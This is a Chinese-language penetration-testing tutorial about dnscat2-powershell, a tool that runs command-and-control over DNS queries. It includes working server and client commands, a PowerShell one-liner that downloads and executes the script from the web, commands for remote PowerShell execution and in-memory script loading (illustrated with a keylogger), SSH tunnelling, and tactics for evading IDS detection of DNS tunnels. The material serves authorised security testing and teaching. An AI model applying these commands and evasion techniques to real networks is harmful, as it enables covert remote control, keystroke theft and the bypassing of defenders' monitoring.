利用dnscat2-powershell实现PowerShell DNS命令与控制

本文详细介绍了如何使用dnscat2-powershell工具通过DNS协议建立命令与控制通道,包括环境配置、加密认证、隧道功能及规避检测策略,适用于极端网络限制下的渗透测试场景。

PowerShell DNS命令与控制:使用dnscat2-powershell

作者:Luke Baggett

想象一个场景:渗透测试员需要在内部网络建立命令与控制(C2)通道,但该网络阻断了所有出站流量,仅允许访问测试员无法控制的少数特定服务器。此时,测试员仍有一种最后手段——DNS命令与控制。

如果您不熟悉DNS命令与控制,其基本概念是C2客户端在DNS查询中发送数据。这些DNS查询通过互联网的DNS层次结构转发到权威DNS服务器(C2服务器所在处)。C2服务器随后在DNS响应中返回数据,并转发回C2客户端。由于DNS是实现内部网络与互联网通信的必要协议,因此基于DNS的C2非常有效。

Ron Bowes开发的Dnscat2是信息安全领域最优秀的DNS隧道工具之一。它支持加密、预共享密钥认证、多会话并行、类SSH隧道、命令壳层以及主流DNS查询类型(TXT、MX、CNAME、A、AAAA)。客户端用C语言编写,服务器用Ruby编写。

近期,我完成了dnscat2 C客户端所有功能的PowerShell版本实现(项目链接),并添加了一些PowerShell特有功能。PowerShell因功能丰富、灵活性强且内置于多数Windows系统,深受真实攻击者和渗透测试员青睐。本文将探讨如何使用dnscat2-powershell脚本。

尽管dnscat2设计用于通过互联网DNS服务器通信,它也可直接向dnscat2服务器发送DNS请求(便于测试)。本文仅展示本地连接示例,但您可在此了解如何设置权威服务器。

环境设置

1
sudo ruby dnscat2.rb --dns "domain=test,host=192.168.56.1" --no-cache

使用--no-cache选项是必需的,因为nslookup命令使用非随机化的顺序DNS事务ID值。

使用dnscat2-powershell需Windows系统安装PowerShell 2.0或更高版本。通过下载脚本并运行以下命令加载dnscat2功能:

1
Import-Module .\dnscat2.ps1

或粘贴以下命令到PowerShell以启用dnscat2-powershell功能:

1
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')

功能加载后,运行以下命令启动dnscat2-powershell服务器:

1
Start-Dnscat2 -Domain test -DNSServer 192.168.56.1

Start-Dnscat2是dnscat2-powershell中用于客户端与服务器建立命令会话的主函数。从服务器端,您现在可指导客户端执行不同操作。以下视频演示了此过程:

[视频演示链接]

若不想使用命令会话,可为Start-Dnscat2使用-Exec-ExecPS-Console参数。

PowerShell特性

dnscat2-powershell命令会话添加了额外PowerShell相关功能。例如,通过输入以下命令模拟交互式PowerShell会话:

1
exec psh

您也可向Start-Dnscat2传递-ExecPS开关启用此功能。客户端将从服务器接收输入,传递给Invoke-Expression,并返回输出。变量在客户端生命周期内保持持久化,从而支持使用如PowerSploit等强大工具。

通过输入以下命令,可通过DNS将脚本加载到客户端内存:

1
upload /tmp/script.ps1 hex:$var

文件的十六进制表示将存入$var变量。随后,十六进制可转换为字符串并作为PowerShell函数加载。类似地,输入以下命令:

1
upload bytes:$var /tmp/var

将下载存储在$var中的字节数组,并写入/tmp/var。目前这两个功能较新且存在缺陷,对较小脚本更可靠。

以下视频展示了模拟PowerShell会话及通过DNS加载其他PowerShell脚本的过程。示例脚本为Get-Keystrokes(出自Powersploit)。

[视频演示链接]

加密

默认所有流量均加密。可通过向Start-Dnscat2传递-NoEncryption及使用以下服务器命令选项禁用加密:

1
-e open

无加密时,所有dnscat2数据包仅进行十六进制编码,使了解dnscat2协议者能较容易重组数据。

通过向客户端传递-PreSharedSecret密码及服务器使用-c选项,可使用预共享密钥认证防止中间人攻击。

隧道

Dnscat2支持类SSH本地端口转发的隧道功能。dnscat2服务器监听本地端口,任何到该端口的连接通过DNS隧道转发,dnscat2客户端将连接转发到另一主机的端口。

此功能在dnscat2客户端位于含SSH服务器的内部网络时非常实用。通过设置从服务器端口到内部网络SSH服务器的隧道,您可实现基于DNS的交互式SSH会话。以下视频展示了此过程:

[视频演示链接]

规避通用签名检测

检测DNS隧道的方法多样,如检查出站DNS查询长度、监控特定主机的DNS查询频率、检测特定不常见查询类型等。

通过为Start-Dnscat2使用-Delay-MaxRandomDelay参数,可在客户端发送的每个请求间添加静态或随机延迟。延迟可从命令会话通过以下命令更改:

1
delay <毫秒>

这有助于规避基于频率分析的检测系统。为加速数据传输,DNS隧道常使用最大查询长度,但合法用户发送最大长度DNS查询的频率极低?可基于精确最大查询长度编写签名。若需更隐蔽,可使用-MaxPacketSize参数缩短最大请求大小。

许多DNS隧道使用TXT、CNAME或MX查询,因其响应处理简单且长度较长。但这些非最常见查询类型,IDS可能因高频此类查询告警。A和AAAA查询更常见,使用它们或有助于绕过IDS检测。Start-Dnscat2-LookupTypes参数可用于向客户端传递有效查询类型列表,客户端将随机选择查询类型发送。

结合使用这三种选项使为dnscat2编写良好签名稍复杂。以下视频展示了所有选项组合使用及修改选项对数据传输速度的显著影响。

[视频演示链接]

结论

通过DNS隧道通信具有实际优势,主要在于即使在极端出站流量过滤环境中也能提供壳层访问。主要缺点是所有流量通过互联网DNS服务器转发导致速度缓慢。现在有了PowerShell版dnscat2客户端,渗透测试员可轻松将基于DNS的C2与熟悉的PowerShell工具结合使用。

准备好深入学习?通过Antisyphon的实惠课程提升技能!支持随付随训模式,提供直播/虚拟及点播培训。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计